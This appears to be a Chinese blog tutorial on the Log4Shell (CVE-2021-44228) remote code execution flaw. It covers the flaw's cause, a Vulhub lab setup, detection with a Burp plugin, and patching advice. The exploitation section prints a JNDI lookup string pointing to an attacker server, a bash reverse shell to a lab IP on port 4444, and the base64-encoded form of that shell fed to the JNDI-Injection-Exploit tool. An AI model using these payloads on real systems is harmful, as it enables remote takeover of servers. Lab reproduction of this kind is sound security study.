Log4j2远程代码执行漏洞(CVE-2021-44228)

这篇文章详细解释了Log4Shell漏洞,涉及其原理、影响的ApacheLog4j2版本,以及如何在Vulhub环境中搭建并验证漏洞。作者介绍了使用burp插件检测漏洞的方法,并演示了漏洞利用的过程,最后给出官方推荐的修复建议。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1、简介

CVE-2021-44228,被广泛称为“Log4Shell”,是一个高危的远程代码执行漏洞,影响了Apache Log4j 2,这是一个在Java应用程序中广泛使用的日志记录库。

2、漏洞原理

这个漏洞的根本原因在于Log4j 2的日志消息查找功能,该功能允许插入特定的模式,以便从不同的数据源动态获取信息。攻击者可以通过向Log4j传递一个恶意构造的字符串操纵JNDI(Java Naming and Directory Interface)查找,以执行LDAP(轻量级目录访问协议)或其他JNDI支持的查询。例如,攻击者可以提交一个包含${jndi:ldap://attacker_controlled_server/payload}的字符串到日志消息中。如果这个消息被记录,Log4j会尝试解析这个字符串,并进行JNDI查询到指定的URL,这可以导致加载并执行攻击者指定的恶意代码。

3、影响版本

Apache Log4j 2.x < 2.15.0-rc2

4、环境搭建

本文用到的是Vulhub搭建的环境,如何下载Vulhub并启动可参考这里

进入到CVE-2021-44228目录,执行如下命令启动环境。

docker-compose up -d

查看环境信息

docker-compose ps

浏览器访问搭建环境的IP加端口,出现以下界面证明搭建成功。

5、漏洞验证

本文漏洞验证用的是burp插件Log4j2Scan,插件地址

本文是之前安装好的,简单说一下如何安装。

配置Log4j2Scan插件响应地址为CEYE的,如无账号,注册即可,将CEYE生成的地址与API Token填写至插件中并应用。

浏览器与burp链接后在整个存在漏洞的界面随意点点(主要是为了找到注入点),Log4j2Scan插件告警存在远程命令执行漏洞。

手动验证,将存在漏洞的数据包重新发送,CEYE有回显,证明漏洞的确存在。

6、漏洞利用

首先下载JNDI注入工具,git clone https://github.com/welk1n/JNDI-Injection-Exploit.git 

进入JNDI-Injection-Exploit目录,执行如下命令进行编译。

mvn clean package -DskipTests

构造反弹shell命令,并进行base64编码。编码地址

 bash -i >& /dev/tcp/192.168.15.128/4444 0>&1

进入JNDI-Injection-Exploit/target目录执行如下命令,获取payload。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.15.128"

另起一个终端监听4444端口(反弹命令中的端口是多少,就监听多少就行)

将构造好的恶意类带入到url中访问

LDAP服务器收到回显,同样监听处成功反弹shell。

7、修复建议

官网下载不受影响的版本,及时更新。

https://logging.apache.org/log4j/2.x/download.html

### CVE-2021-44228 漏洞详情 CVE-2021-44228 是指在 Log4j 2.x 版本中存在的严重安全漏洞,允许攻击者通过精心构造的日志输入实现远程代码执行 (RCE)[^3]。具体来说,当应用程序日志记录含有特定模式的字符串时,Log4j 尝试解析并处理 JNDI 查询语句,这可能导致连接到由攻击者控制的服务端点,并加载恶意 Java 类文件。 #### 影响范围 受影响版本包括但不限于 Log4j 2.0 至 2.14.1 版本之间的所有发行版。 ### 技术细节 此漏洞利用了 Java 命名和目录接口(JNDI),它通常用于定位分布式资源和服务。如果配置不当或存在未受保护的环境变量,则可能被用来发起针对内部网络基础设施或其他系统的攻击。一旦成功触发 RCE 条件,攻击者就能完全控制系统,安装程序、查看/修改数据甚至创建新账户等操作均成为可能。 ### 复现过程概述 为了验证该漏洞的存在以及理解其工作原理,研究人员常会在隔离环境中设置实验场景来重现问题。例如,在 vulhub 靶场上按照指定路径 `/home/vulhub-master/log4j/CVE-2021-44228` 启动相关服务后,可以通过模拟发送包含特殊字符组合的日志条目给目标应用来进行测试[^2]。 另外也有开发者分享了自己的学习笔记,提供了详细的步骤指导如何构建类似的测试案例,比如使用 `bkfish/Apache-Log4j-Learning` 工具集辅助完成整个流程中的各个环节,从准备必要的依赖项到最后分析结果都进行了详尽描述[^4]。 ### 修复建议 对于已经部署的应用程序而言,最直接有效的措施是尽快升级至最新稳定的安全补丁级别——即至少更新为 Log4j 2.15.0 或更高版本。除此之外: - **移除不必要的功能模块**:禁用任何不使用的特性特别是那些涉及动态查找机制的功能; - **严格审查外部输入源**:确保所有来自用户的输入都被充分过滤净化后再参与任何形式的数据交互活动; - **加强监控力度**:定期扫描现有系统是否存在异常行为迹象以便及时响应潜在威胁事件的发生。 ```bash # 更新命令示例 mvn dependency:update -DgroupId=org.apache.logging.log4j \ -DartifactId=log4j-core \ -Dversion=2.17.1 # 替换成最新的安全版本号 ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值